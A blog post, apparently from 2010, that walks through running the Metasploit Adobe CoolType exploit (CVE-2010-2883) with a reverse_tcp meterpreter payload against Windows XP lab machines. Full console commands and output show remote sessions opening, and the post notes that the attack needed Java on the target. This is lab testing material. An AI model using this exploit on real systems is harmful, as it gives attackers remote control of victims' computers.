Having read that some folks have had mixed results with the Metasploit exploit, I decided I would try and find some reason why.
I started out by running up Metasploit and setting up the exploit
msf > use exploit/windows/browser/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.0.79
LHOST => 192.168.0.79
msf exploit(adobe_cooltype_sing) > set SRVHOST 192.168.0.79
SRVHOST => 192.168.0.79
msf exploit(adobe_cooltype_sing) > show options
Module options:
Name Current Setting Required Description
—- ————— ——– ———–
SRVHOST 192.168.0.79 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.0.79 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
— —-
0 Automatic
I decided to try out the browser launched attack, as I figured this would the the most used.
msf exploit(adobe_cooltype_sing) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.79:4444
[*] Using URL: http://192.168.0.79:8080/kk9DVXsnHq
[*] Server started.
msf exploit(adobe_cooltype_sing) > [*] Sending crafted PDF to 192.168.0.72:1151
[*] Sending crafted PDF to 192.168.0.74:1099
[-] Exception handling request: Connection reset by peer
[*] Sending crafted PDF to 192.168.0.74:1100
msf exploit(adobe_cooltype_sing) > sessions -l
Active sessions
===============
No active sessions.
Hmmm no session!!!
I’ll try it on my other XP virtual machine.
msf exploit(adobe_cooltype_sing) >
[*] Sending stage (748544 bytes) to 192.168.0.74
[*] Meterpreter session 1 opened (192.168.0.79:4444 -> 192.168.0.74:1102) at 2010-09-15 19:55:59 +0100
[*] Session ID 1 (192.168.0.79:4444 -> 192.168.0.74:1102) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: iexplore.exe (3996)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 3696
[*] New server process: notepad.exe (3696)
msf exploit(adobe_cooltype_sing) > sessions -l
Active sessions
===============
Id Type Information Connection
— —- ———– ———-
1 meterpreter x86/win32 XP-SP3-TEST\test @ XP-SP3-TEST 192.168.0.79:4444 -> 192.168.0.74:1102
What!! I thinks, identical boxes, so I though…….
Not the case the second virtual XP has Java Runtime installed!!!!
Quickly installed Java on first box, latest version from JAVA website.
Try again
msf exploit(adobe_cooltype_sing) >
[*] Sending crafted PDF to 192.168.0.72:1185
[*] Sending stage (748544 bytes) to 192.168.0.72
[*] Meterpreter session 2 opened (192.168.0.79:4444 -> 192.168.0.72:1213) at 2010-09-15 20:01:23 +0100
[*] Session ID 2 (192.168.0.79:4444 -> 192.168.0.72:1213) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: iexplore.exe (4092)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 1544
[*] New server process: notepad.exe (1544)
sessions -l
Active sessions
===============
Id Type Information Connection
— —- ———– ———-
1 meterpreter x86/win32 XP-SP3-TEST\test @ XP-SP3-TEST 192.168.0.79:4444 -> 192.168.0.74:1102
2 meterpreter x86/win32 XPTEST-02\test @ XPTEST-02 192.168.0.79:4444 -> 192.168.0.72:1213
Success!!!!
In order for the browser based exploit to function the victim must have Java installed.
Hope this helps someone with their testing.
One thought on “New Adobe 0day – CVE-2010-2883”